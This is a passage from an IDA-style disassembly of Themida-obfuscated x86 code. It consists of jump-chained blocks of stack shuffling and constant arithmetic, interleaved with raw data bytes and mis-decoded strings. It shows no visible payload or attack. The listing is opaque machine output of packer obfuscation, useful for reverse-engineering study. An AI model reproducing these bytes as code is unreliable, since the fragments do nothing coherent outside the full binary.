		push	ecx
		sub	esp, 4
		jmp	loc_564C7E
; ---------------------------------------------------------------------------


loc_56B3A2:				; CODE XREF: Themida_:0056058Cj
		sub	edx, 368D448Fh
		push	ebp
		jmp	loc_55D3A5
; ---------------------------------------------------------------------------
		dw 3C8Bh
		dd 4C48124h, 51000000h,	0CF89F189h, 953AE959h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B3C2:				; CODE XREF: Themida_:0056E0D6j
		pop	dx
		pop	edx
		sub	bl, 0B4h
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		jmp	loc_55D7D1
; ---------------------------------------------------------------------------


loc_56B3D3:				; CODE XREF: Themida_:0056FE20j
		mov	[esp], ebx
		push	dword ptr [esp]
		pop	eax
		push	eax
		jmp	loc_55C867
; ---------------------------------------------------------------------------
		dd 159CA01h, 0D6EA81FAh, 81259B5Ah, 0A001FAEAh,	243C8B55h
		dd 4C481h, 14870000h, 24248B24h, 8B2434FFh, 0C4832404h
		dd 0E9545204h, 0FFFFB7AFh, 8034B450h, 0E52854F4h, 8124048Bh
		dd 4C4h, 59EB3000h, 0E95BDD00h,	0FFFF4B23h, 0EE5BB53h
		dd 0E94B7C3Ah, 0FFFF2FF0h, 0E95DE801h, 0FFFFA6E1h
; ---------------------------------------------------------------------------


loc_56B440:				; CODE XREF: Themida_:00564EC4j
		push	edi
		jmp	loc_56C3BE
; ---------------------------------------------------------------------------


loc_56B446:				; CODE XREF: Themida_:0056C21Aj
		push	edx
		mov	edx, esp
		add	edx, 4
		push	ebp
		mov	ebp, 7488041Fh
		shl	ebp, 8
		jmp	loc_55D848
; ---------------------------------------------------------------------------
		db 5Ch,	0E9h, 15h
		dd 53FFFF23h, 4834E9h
		db 0
; ---------------------------------------------------------------------------


loc_56B469:				; CODE XREF: Themida_:00560DE7j
		add	esp, 4
		push	edi
		mov	edi, 10566A36h
		sub	ecx, 43E520C6h
		add	ecx, edi
		add	ecx, 43E520C6h
		jmp	loc_55DE21
; ---------------------------------------------------------------------------
		db 52h,	0E9h, 0A1h
		dd 0F7FFFF3Ah, 73E950D3h, 8B000025h, 0C481240Ch, 4, 815E5456h
		dd 4C6h, 4C68300h, 2474FF56h, 15A7E904h, 0C680FFFFh, 0CA42E97Eh
		dd 0C781FFFFh, 18E41AE1h, 0B66BE94Fh, 0C481FFFFh, 4, 1EE81h
		dd 0EED10000h, 0FF8087E9h, 4B951FFh, 68000000h,	40DAh
		dd 0BF243C89h, 52613074h, 1C781h, 0B5E90000h
		db 0DDh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B4F7:				; CODE XREF: Themida_:00564ED9j
		mov	ebx, esp
		jmp	loc_561010
; ---------------------------------------------------------------------------
		dw 0D301h
aZhan		db 'Zh€N',0
		align 2
		dw 1489h
		dd 4BE5624h, 89000000h,	24348BF2h, 0FF4EFDE9h, 7AE95CFFh
		dd 59FFFFF3h, 71E9F800h
		db 0A7h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B527:				; CODE XREF: Themida_:005667A9j
		xor	esi, 3D205A3Ch
		and	esi, 564C4D94h
		shr	esi, 6
		not	esi
		xor	esi, 0FB968C0Dh
		jmp	loc_55E6FE
; ---------------------------------------------------------------------------
		db 1
		dd 24348BF0h, 4C481h, 0BD550000h, 4, 0FFFEDFE9h, 4EC81FFh
		dd 89000000h, 0A0E92434h, 8100002Eh, 2048ECEBh,	467CE94Ah
		dd 0E95C0000h, 0FFFF679Bh, 401268h, 24048900h, 66CBBF57h
		dd 0EFC13992h, 0C3CF8108h, 810D2C26h, 0A49783EFh, 5FF889D0h
		dd 4658C609h, 0D9BCEE81h, 0F0299E06h, 8324348Bh, 0C18104C4h
		dd 3944052Ch, 121AC181h, 0C1011702h, 121AE981h,	0E9811702h
		dd 3944052Ch, 52D10158h, 0F268C288h, 89000055h,	61E92404h
		db 44h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B5D7:				; CODE XREF: Themida_:00563505j
		sub	ch, 12h
		sub	ch, 9Bh
		or	dl, ch
		pop	ecx
		shr	dl, 2
		jmp	loc_55CAEC
; ---------------------------------------------------------------------------
		dd 7DA1E951h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B5EE:				; CODE XREF: Themida_:0055DE89j
		pop	edx
		push	edi
		mov	edi, esp
		add	edi, 4
		push	ebp
		jmp	loc_562506
; ---------------------------------------------------------------------------
		dw 8B66h
		dd 47E9240Ch, 81FFFF52h, 4ECh, 24148900h, 0F46BE953h, 0C483FFFFh
		dd 77336804h, 1C890000h, 68DFB724h, 685Dh, 88240489h, 51DCF6FCh
		dd 0FF47B7E9h, 243487FFh, 5DAB2D5Ch, 32E90293h,	66FFFFDBh
		dd 5224048Bh, 0F5E9E289h
		db 59h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56B64F:				; CODE XREF: Themida_:0056CA66j
		push	edi
		pop	esi
		pop	edi
		and	ebx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_567FD3
; ---------------------------------------------------------------------------
		db 31h
		dd 0FDE955D8h, 1FFFF5Fh, 562E9F1h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56B66E:				; CODE XREF: Themida_:005645C1j
		pop	ebx
		shr	eax, 0Ah
		jmp	loc_56BFF1
; ---------------------------------------------------------------------------
		db 0F7h
		dd 0F75F2414h, 0CF81D7h, 0E973CD13h, 0FFFFF917h, 255468h
		dd 24048900h, 4B8h, 4BC28100h, 0E951E868h, 0FFFF4670h
		dd 5503EFC1h, 66DB8BBDh, 8BEF310Dh, 0C483242Ch,	0B717E904h
		dd 0CA89FFFFh, 37C28159h, 817CBC33h, 3468CDC2h,	3DBB5373h
		dd 55D8F0Fh, 3DA14410h,	6D3A5805h, 9EB0E96Eh, 0EB81FFFFh
		dd 154752FDh, 41E9DD89h, 51FFFFEDh, 4A9EBA52h, 9AE96005h
		db 0Eh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B6F3:				; CODE XREF: Themida_:0056F440j
		mov	ebx, 378C2634h
		add	esi, ebx
		pop	ebx
		pop	ebp
		xchg	ecx, esi
		jmp	loc_55DCCF
; ---------------------------------------------------------------------------
		db 89h
		dd 0FB015BDFh, 5ABBE9h
		db 0
; ---------------------------------------------------------------------------


loc_56B70D:				; CODE XREF: Themida_:00560FCAj
		mov	edx, esp
		push	6EB7h
		mov	[esp], ebx
		push	15ADh
		mov	[esp], edx
		push	57F73ADEh
		pop	edx
		push	esi
		mov	esi, 52351442h
		and	esi, 1D430C70h
		shr	esi, 4
		add	esi, 0D1B63DEh
		inc	esi
		shl	esi, 1
		jmp	loc_5671FC
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E2895224h, 4C281h, 0C2810000h, 4, 31241433h, 14332414h
		dd 0C4815C24h, 4, 8904EC83h, 0D4E9241Ch, 0B5000059h, 27B252D9h
		dd 0E95AD500h, 0FFFF65D7h, 115DE0BDh, 8E5C150h,	5107E5C1h
		dd 0E345C5B9h, 59CD095Ah, 0FF2D5DE9h, 0DDE95FFFh, 81FFFF37h
		dd 64670AC3h, 12BE5619h, 0F70EC258h, 0CBE681DEh, 814C1B75h
		dd 5F7E67E6h, 0DBF68110h, 0E973D843h, 0FFFF9933h
; ---------------------------------------------------------------------------


loc_56B7C0:				; CODE XREF: Themida_:0055D7DAj
		push	dword ptr [esp]
		pop	eax
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebp
		push	esp
		jmp	loc_56655B
; ---------------------------------------------------------------------------
		db 66h
		dd 0ABCAF281h, 0FF2821E9h, 0BA5259FFh, 71B75646h, 0E95AD121h
		dd 3DA2h
; ---------------------------------------------------------------------------


loc_56B804:				; CODE XREF: Themida_:00565A80j
		mov	[esp], eax
		push	dword ptr [esp+4]
		mov	eax, [esp]
		push	75C5h
		mov	[esp], esi
		mov	esi, esp
		push	eax
		mov	eax, 598E483Ch
		xor	eax, 51371E82h
		push	edi
		mov	edi, 67C6E39h
		add	eax, edi
		pop	edi
		add	eax, 7C3D5712h
		shr	eax, 1
		jmp	loc_567D51
; ---------------------------------------------------------------------------


loc_56B838:				; CODE XREF: Themida_:00568738j
		mov	ebx, 7DF74A5Dh
		and	esi, ebx
		pop	ebx
		push	edx
		mov	edx, 1
		jmp	loc_56C71D
; ---------------------------------------------------------------------------
		db 59h
		dd 0FF4B39E9h, 0D0E957FFh, 0FFFFF30h, 5457C8BEh, 83243C8Bh
		dd 20E904C4h
		db 45h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B867:				; CODE XREF: Themida_:00568D80j
		sub	ebp, 0FFFFFFFFh
		xor	ebp, 80F058Ch
		mov	eax, ebp
		pop	ebp
		sub	esp, 4
		jmp	loc_5685C5
; ---------------------------------------------------------------------------
		dw 348Bh
		dd 3E4DE924h, 8B66FFFFh, 0EC832404h, 243C8904h,	0FF780DE9h
		dd 59CE30FFh, 0E902EEC0h, 0FFFFFC12h
; ---------------------------------------------------------------------------


loc_56B8A0:				; CODE XREF: Themida_:0056C220j
		inc	dword ptr [esp]
		pop	esi
		sub	esi, 7257191Ah
		sub	esi, 0CE020626h
		sub	ecx, 7EBB0513h
		jmp	loc_565177
; ---------------------------------------------------------------------------
		db 89h
		dd 0C8E9240Ch
		db 11h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56B8C3:				; CODE XREF: Themida_:005641B9j
		add	esp, 4
		pop	edx
		push	dword ptr [esp]
		jmp	loc_56CB93
; ---------------------------------------------------------------------------
		db 83h
		dd 0C32D04C4h, 5065FA3Fh, 0FFED1EE9h, 2434FFFFh, 7AF7E958h
		dd 0B951FFFFh, 6EED7757h, 2901E981h, 0D1F757F3h, 70C98141h
		dd 812D3268h, 196343F1h, 0AFF18166h, 89EC88C8h,	0D30959CAh
		dd 52F4E9h, 4C38100h, 87000000h, 0E95C241Ch, 0FFFF7966h
; ---------------------------------------------------------------------------


loc_56B920:				; CODE XREF: Themida_:0055F3BDj
		sub	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		mov	[esp], edi
		push	ebx
		push	68A93CB6h
		pop	ebx
		jmp	loc_568D63
; ---------------------------------------------------------------------------
		db 0FFh
a4SB		db '4$é´B',0
		dw 8900h
a4Sc3		db '4$éæ3',0
		dw 8900h
		dd 1BB53E7h, 0E93E9639h, 0FFFF1D6Fh
; ---------------------------------------------------------------------------


loc_56B958:				; CODE XREF: Themida_:0056C1E8j
		xor	edx, 16C03E85h
		mov	ecx, edx
		mov	edx, [esp]
		jmp	loc_560D9B
; ---------------------------------------------------------------------------
aVSfvS		db 'V¾áf‚ é·/',0
		dw 2C00h
		dd 4F82875h, 241C8B75h,	0EBE95453h, 0FFFFFFE3h,	148B2434h
		dd 4C48324h, 4EC81h, 1C890000h,	4EC8324h, 8165E954h, 1487FFFFh
		dd 24248B24h, 8704EE83h, 248B2434h, 4EC8124h, 89000000h
		dd 4812424h, 424h, 24048F00h, 4240483h,	5024048Fh, 0D72B951h
		dd 81413416h, 0D80F73C9h, 0DE98142h, 897414ADh,	37BDE9C8h
		dd 0EBB8FFFFh, 55DE57Fh, 2225577Bh, 0FF6C6EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56B9F1:				; CODE XREF: Themida_:0056D5A8j
		not	bl
		xchg	bl, ah
		push	2702h
		mov	[esp], ecx
		mov	ch, ah
		push	ebx
		push	eax
		mov	ah, ch
		mov	bl, ah
		jmp	loc_567AFB
; ---------------------------------------------------------------------------


loc_56BA0A:				; CODE XREF: Themida_:0055CEABj
		add	eax, esi
		pop	esi
		jmp	loc_5709F5
; ---------------------------------------------------------------------------
		dw 3489h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_56C450
; ---------------------------------------------------------------------------
		dd 18C668h, 240C8900h, 692C87B1h, 0EC83C828h, 24148904h
		dd 0B15154B6h, 0FE4BE9D0h, 24B1FFFFh, 3AAFE9h
		db 0
; ---------------------------------------------------------------------------


loc_56BA51:				; CODE XREF: Themida_:0056314Cj
		sub	ebx, edx
		pop	edx
		mov	eax, ebx
		mov	ebx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	eax
		jmp	loc_56823A
; ---------------------------------------------------------------------------
		db 8Fh,	4, 24h
		dd 4240481h, 8B000000h,	0C4812404h, 4, 0FF26E1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BA89:				; CODE XREF: Themida_:0055CFD6j
		add	edx, 71500E3h
		jmp	loc_55E50E
; ---------------------------------------------------------------------------
		dd 3A6B1CBAh, 0B380BB63h, 0A4E97E35h
		db 40h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BAA3:				; CODE XREF: Themida_:00561B8Bj
		sub	esp, 4
		jmp	loc_566242
; ---------------------------------------------------------------------------
		dw 2C87h
		dd 1C895C24h, 47B0E924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BABA:				; CODE XREF: Themida_:0055D1C1j
		shr	edi, 8
		push	edx
		jmp	loc_561B27
; ---------------------------------------------------------------------------
		db 1
		dd 0C6835FFEh, 68C5E904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BACE:				; CODE XREF: Themida_:00567F69j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esi
		push	ebx
		mov	ebx, 701E6061h
		shr	ebx, 6
		push	eax
		mov	eax, 734A1AC8h
		jmp	loc_55E30F
; ---------------------------------------------------------------------------
		db 66h
		dd 68240C8Bh, 5915h, 89243489h,	4EC81E6h, 89000000h, 13BD242Ch
		dd 0E93A076Eh, 0FFFF86CDh, 24048F66h, 124A6866h, 24148966h
		dd 0FF7337E9h, 24048BFFh, 4C481h, 0B8E90000h, 5E000031h
		dd 5624048Fh, 0FF2414F7h, 565E2434h, 0FFCACDE9h, 5AD601FFh
		dd 7DF1C781h, 98E93C09h, 0B1000025h, 59C828DBh,	10E9D828h
		dd 50FFFF9Ah, 0C208E6B0h, 0F280E958h, 0E2C1FFFFh, 14F75208h
		dd 0EA815A24h, 448082FBh, 0A8E9D501h
		db 4, 2	dup(0)
; ---------------------------------------------------------------------------


loc_56BB77:				; CODE XREF: Themida_:00567503j
		mov	ecx, 76D9397Eh
		or	esi, ecx
		pop	ecx
		push	eax
		jmp	loc_568354
; ---------------------------------------------------------------------------


loc_56BB85:				; CODE XREF: Themida_:0056C1C1j
		mov	esp, [esp]
		xor	[esp], eax
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		db 47h,	0E9h, 66h
		dd 56FFFF55h, 2BEh, 0FFF30100h,	348B2434h, 3528E924h, 8159FFFFh
		dd 4EDh, 242C8700h, 19E9545Ch, 8BFFFF5Dh, 0C483243Ch, 8CBE904h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BBC6:				; CODE XREF: Themida_:0056D7F8j
		add	eax, 487C37E3h
		jmp	loc_5689DC
; ---------------------------------------------------------------------------
		dd 8BE9315Eh, 0C481242Ch, 4, 0E904EC83h, 0FFFF53EBh, 4302E3C1h
		dd 5A61F381h, 0F3814D31h, 0F3F27A52h, 1C8BDD01h, 4C48324h
		dd 0E9240C8Bh, 0FFFFE295h
; ---------------------------------------------------------------------------


loc_56BC04:				; CODE XREF: Themida_:0055F25Ej
		xor	ecx, [esp]
		jmp	loc_55DC09
; ---------------------------------------------------------------------------
		dd 0DD67F105h, 2CD92D58h, 0F8687EADh, 89000049h, 0EC832414h
		dd 8736E904h, 348BFFFFh, 0E7895724h, 4C781h, 0C7810000h
		dd 4, 5C243C87h, 4BF57h, 0EA810000h, 73813397h,	0FF4A3CE9h
		dd 0E9EDB6FFh, 0FFFFF703h, 0E4B3C581h, 43E907B2h, 68FFFF8Ch
		dd 30A6h, 0E9241C89h, 0FFFF68E9h, 8853DA88h, 1DE950D3h
		dd 0FF00003Dh, 48B2434h, 0E149E924h, 0E828FFFFh, 0FFF896E9h
		dd 0E4E95AFFh
		db 82h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BC8F:				; CODE XREF: Themida_:0055C9FCj
		sub	eax, 0FDE3B821h
		add	edi, eax
		pop	eax
		pop	edx
		shr	edi, 8
		add	edi, 0FFFFEAB3h
		jmp	loc_5608C7
; ---------------------------------------------------------------------------
		dw 0B951h
		dd 0E313E68h, 423CC981h, 0E9814EC8h, 59B23F45h,	81D1F749h
		dd 262EDEE1h, 5E98109h,	893D347Eh, 74E959CFh, 500000Ah
		dd 4, 470E68h, 3169E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BCDE:				; CODE XREF: Themida_:00560EF2j
		push	0
		sub	[esp], esi
		pop	esi
		and	esi, 3BE85BD9h
		jmp	loc_566F88
; ---------------------------------------------------------------------------
		dw 0D7F7h
		dd 11F2E781h, 505776F5h, 0FF2FCBE9h, 6D4B68FFh,	4890000h
		dd 4FE95424h, 81FFFF26h, 4ECh, 24048900h, 0FFA19FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56BD1D:				; CODE XREF: Themida_:0055CA8Aj
		pop	esp
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		dw 77FFh
		dd 7D12681Ch, 4890000h,	68575324h, 41C5h, 0BD242C89h, 41286F0Bh
		dd 0E78CC581h, 57E93AC7h, 52FFFFFFh, 8904EC83h,	4832424h
		dd 148B0424h, 4C48324h,	4C281h,	0EA810000h, 4, 0FF631EE9h
		dd 24148BFFh, 0E904C483h, 0FFFFF96Bh
; ---------------------------------------------------------------------------


loc_56BD7C:				; CODE XREF: Themida_:00564403j
		pop	edx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 67B250A9h
		sub	esi, 379F7893h
		push	eax
		jmp	loc_56CDC3
; ---------------------------------------------------------------------------
		dw 0B753h
		dd 0E9FA888Dh, 0FFFFCF93h
; ---------------------------------------------------------------------------


loc_56BDA4:				; CODE XREF: Themida_:00567FE8j
		push	ebx
		mov	ebx, 76DA062Eh
		xor	ecx, ebx
		jmp	loc_56C5A8
; ---------------------------------------------------------------------------
		db 4, 0E9h, 5Bh
		dd 0C8FEEC2Ch, 8504FF04h, 8897B050h, 69E958C2h
		db 3 dup(0)
; ---------------------------------------------------------------------------


loc_56BDC7:				; CODE XREF: Themida_:0055EFE9j
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	edi
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		jmp	loc_56968A
; ---------------------------------------------------------------------------


loc_56BDDD:				; CODE XREF: Themida_:0056970Bj
		sub	eax, 3EF7BCAh
		sub	ecx, eax
		pop	eax
		add	eax, ecx
		pop	ecx
		push	ebx
		jmp	loc_55E39C
; ---------------------------------------------------------------------------
aIqsv		db 'ÑëQé‚-',0
		align 2
		dw 3C86h
		dd 84B2E924h, 0C481FFFFh, 4, 0E9242C87h, 0FFFF8F4Ah, 405h
		dd 6FE95300h
		db 0F3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BE17:				; CODE XREF: Themida_:0056C3B0j
		sub	eax, 77BE8471h
		mov	edi, eax
		pop	eax
		push	ebp
		mov	ebp, 62B62126h
		jmp	loc_55F39D
; ---------------------------------------------------------------------------
		dw 0E950h
		dd 0FFFF120Bh, 0E958C230h, 0FFFF46B4h, 853E95Ch, 0BF570000h
		dd 4, 3C8BFB01h, 4C48124h, 52000000h, 7E9EBE56h, 814619F4h
		dd 0FF3381E6h, 9DF68141h, 8133737Dh, 78B0E8C6h,	0E9F289CDh
		dd 18D4h, 5B8E6866h, 240C8966h,	0B353ACB1h, 5BD93013h
		dd 8B66CE30h, 0EC81240Ch, 4, 89240489h,	4EC83E0h, 0B9240C89h
		dd 35B63105h, 0FF607DE9h, 4EC83FFh, 2054E9h
		db 0
; ---------------------------------------------------------------------------


loc_56BEA9:				; CODE XREF: Themida_:0056CFB9j
		mov	ecx, ebx
		pop	ebx
		xor	ecx, edx
		mov	edx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		jmp	loc_5664B7
; ---------------------------------------------------------------------------
a_sge		db '_éGE',0
		align 4
		dd 0FF2434FFh, 0BCE92434h
		db 0F5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BED7:				; CODE XREF: Themida_:0055CF7Fj
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		push	edx
		xor	dword ptr [esp], 49A5068Eh
		mov	ecx, [esp]
		jmp	loc_564394
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 0D2h
		dd 8100E302h, 1CFD32C5h, 3B92E9FFh
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56BF02:				; CODE XREF: Themida_:0056A060j
		xor	dl, 0B2h
		or	cl, dl
		mov	edx, [esp]
		add	esp, 4
		push	dx
		jmp	loc_55EAF2
; ---------------------------------------------------------------------------
		dd 4BE56h, 24E90000h
		db 0F6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56BF1F:				; CODE XREF: Themida_:005676DAj
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		mov	edi, [esp]
		add	esp, 4
		xor	esi, [esp]
		xor	[esp], esi
		jmp	loc_563512
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 2434FF24h, 14E5E959h, 1AB40000h, 0FE4DF480h,	54F650CCh
		dd 0F6580124h, 8E4C0D4h, 8EC80h, 686658E2h, 89663663h
		dd 0D6B62414h, 8B66F028h, 89502414h, 0A9BE56E0h, 8171C756h
		dd 5B42E8C6h, 0F6814E29h, 65C25F57h, 0F6814E4Eh, 0FEE0C6C1h
		dd 835EF001h, 348904ECh, 2BE24h, 7FE90000h, 1FFFF4Eh, 8B1088C8h
		dd 0C4812404h, 4, 5A2434FFh, 4C481h, 0E9590000h, 0FFFF0462h
; ---------------------------------------------------------------------------


loc_56BFC0:				; CODE XREF: Themida_:0055DA62j
		push	ebp
		mov	ebp, 4
		add	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		mov	esp, [esp]


loc_56BFCF:				; CODE XREF: Themida_:0055CD95j
					; Themida_:0056E6D2j
		push	dword ptr [esp]
		pop	ebx
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		add	esi, 4
		jmp	loc_55CB3D
; ---------------------------------------------------------------------------


loc_56BFF1:				; CODE XREF: Themida_:0056B672j
		xor	eax, ecx
		xor	eax, esi
		jmp	loc_55DE5F
; ---------------------------------------------------------------------------
		dw 0F381h
		dd 199424BFh, 0F75BDA89h, 4C9CE9D2h, 14890000h,	81E28924h
		dd 4C2h, 56F6800h, 1DE90000h, 5AFFFF30h, 8904EC83h, 87B82404h
		dd 0E945A503h, 0FFFFEDE5h, 4C481h, 6EE90000h
		db 6Ah,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C03B:				; CODE XREF: Themida_:00561B1Cj
		mov	ecx, 764D1AEAh
		not	ecx
		or	ecx, 1C745AB3h
		jmp	loc_568967
; ---------------------------------------------------------------------------


loc_56C04D:				; CODE XREF: Themida_:0055F830j
		xor	ebp, 5549ADB0h
		jmp	loc_56D1C7
; ---------------------------------------------------------------------------
		dd 8B04C483h, 90E92404h, 5EFFFF5Bh, 0FF144FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C069:				; CODE XREF: Themida_:005677C3j
		xchg	ecx, [esp]
		pop	esp
		mov	esi, [esp]
		add	esp, 4
		add	eax, ebp
		pop	ebp
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		pop	esp
		push	eax
		push	ebp
		jmp	loc_56C203
; ---------------------------------------------------------------------------


loc_56C08A:				; CODE XREF: Themida_:0056121Dj
		pop	esp
		push	ebp
		mov	ebp, 7AD65230h
		and	ebp, 2E8D0FF0h
		xor	ebp, 2A840234h
		add	edi, ebp
		pop	ebp
		push	esi
		mov	esi, 2
		add	edi, esi
		pop	esi
		sub	esp, 4
		mov	[esp], edi
		push	dword ptr [esp+4]
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_56787E
; ---------------------------------------------------------------------------
		dd 4BD55h, 0E9810000h, 676D6C40h, 0FFB497E9h, 2434FFFFh
		dd 8324048Bh, 895204C4h, 4C281E2h, 83000000h, 148704C2h
		dd 3E97E924h, 8B66FFFFh, 0C483241Ch, 68C33002h,	30B3h
		dd 53240C89h, 0FF7A1EE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_56C109:				; CODE XREF: Themida_:00569F4Cj
		pop	edx
		add	edx, 4
		sub	edx, 4
		jmp	loc_55F2D3
; ---------------------------------------------------------------------------
		dd 5F241CF7h, 1C98E9h
		db 0
; ---------------------------------------------------------------------------


loc_56C121:				; CODE XREF: Themida_:00570A12j
		pop	ecx
		and	ecx, 38B32D36h
		push	0
		sub	[esp], ecx
		mov	ecx, [esp]
		jmp	loc_56132B
; ---------------------------------------------------------------------------
		dd 2138C681h, 0EE017CDBh, 2138EE81h, 34FF7CDBh,	0C4835D24h
		dd 24348704h, 6824248Bh, 4358h,	0FFE35BE9h, 81DD01FFh
		dd 0D54B5EC5h, 241C8B19h, 4C481h, 6FE90000h
		db 20h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_56C173:				; CODE XREF: Themida_:0055D61Bj
		mov	[esp], ebx
		push	524B6CE5h
		pop	ebx
		shr	ebx, 6
		jmp	loc_56E053
; ---------------------------------------------------------------------------


loc_56C184:				; CODE XREF: Themida_:0056DB9Bj
		mov	[esp], eax
		jmp	loc_56737E
; ---------------------------------------------------------------------------
		dd 1A5DE981h, 0E9816767h, 179C2C20h, 5E2434FFh,	8304C483h
		dd 0FF5104C1h, 0FF042474h, 0C8B2434h, 4C48124h,	83000000h
		dd 5DE904ECh
		db 0D5h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C1BB:				; CODE XREF: Themida_:005610C3j
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_56BB85
; ---------------------------------------------------------------------------
		dw 5966h
		dd 7CE90E34h
		db 10h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C1CF:				; CODE XREF: Themida_:0056157Bj
		pop	ebp
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		push	160Bh
		mov	[esp], edi
		mov	edi, esp
		push	ecx
		push	edx
		mov	edx, 16C03E81h
		jmp	loc_56B958
; ---------------------------------------------------------------------------
		db 29h,	0F9h, 5Fh
		dd 45EEE981h, 81E960C1h, 83FFFF37h, 85E904ECh
		db 66h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C203:				; CODE XREF: Themida_:0056C085j
		push	31BA7D9Ch
		pop	ebp
		shr	ebp, 8
		shl	ebp, 1
		jmp	loc_55FE68
; ---------------------------------------------------------------------------


loc_56C213:				; CODE XREF: Themida_:00564AB5j
		add	ecx, 19F5025Eh
		pop	edi
		jmp	loc_56B446
; ---------------------------------------------------------------------------


loc_56C21F:				; CODE XREF: Themida_:0056D808j
		push	esi
		jmp	loc_56B8A0
; ---------------------------------------------------------------------------
		db 5Fh,	59h, 33h
		dd 0C9E9242Ch, 87FFFF6Bh, 248B243Ch, 67BB5324h,	0E94EA73Eh
		dd 0FFFFAF28h, 71BA5250h, 810E960Eh, 7E12D3C2h,	0E9D089A7h
		dd 0FFFFB15Dh, 4B8h, 33EAE900h,	3C33FFFFh, 243C3124h, 8B243C33h
		dd 0E9552424h, 11C5h
; ---------------------------------------------------------------------------


loc_56C270:				; CODE XREF: Themida_:00565D06j
		pop	esp
		jmp	loc_55C422
; ---------------------------------------------------------------------------
		dw 55Bh
		dd 7AB71669h, 692DF001h, 0E97AB716h, 0FFFFB3A6h, 8324048Bh
		dd 1C8904ECh, 52E38924h, 4BAh, 0DFEBE900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C29E:				; CODE XREF: Themida_:0055F1F5j
		add	esp, 4
		jmp	loc_55D38F
; ---------------------------------------------------------------------------
aZst		db 'Zé’',9,0
		align 4
		dd 0E9241489h, 0FFFF0C1Dh, 80B7B652h, 51669ECEh, 0CE0816B1h
		dd 5DE95966h
		db 6Fh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_56C2C7:				; CODE XREF: Themida_:00562B21j
		add	edi, 140F0Dh
		jmp	loc_56E4B6
; ---------------------------------------------------------------------------


loc_56C2D2:				; CODE XREF: Themida_:0056D376j
		inc	edi
		add	edi, 273B9610h
		add	esi, edi
		jmp	loc_55DB0F
; ---------------------------------------------------------------------------
		dd 9EE95158h, 89FFFF7Ah, 28E9241Ch, 59FFFF0Ah, 5C04F828h
		dd 81241C8Bh, 4C4h, 56B6E900h, 0A3B8FFFFh, 31014D0Ah, 8B042444h
		dd 0C4832404h, 0E9008F04h, 0FFFF69A3h, 0E943D3F7h, 0EC0h
		dd 5C243487h, 0B0240489h, 4EC8148h, 89000000h, 99E9240Ch
		dd 0B9FFFFC6h, 790946D4h, 5252BF57h, 0F9217A4Ah, 0F9C1815Fh
		dd 0F7603240h, 24D7E9D9h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_56C352:				; CODE XREF: Themida_:0055EE56j
		add	ecx, ebp
		sub	ecx, 0FB4566Eh
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebp
		mov	ebp, 2
		sub	ecx, ebp
		pop	ebp
		xchg	ecx, [esp]
		jmp	loc_56467D
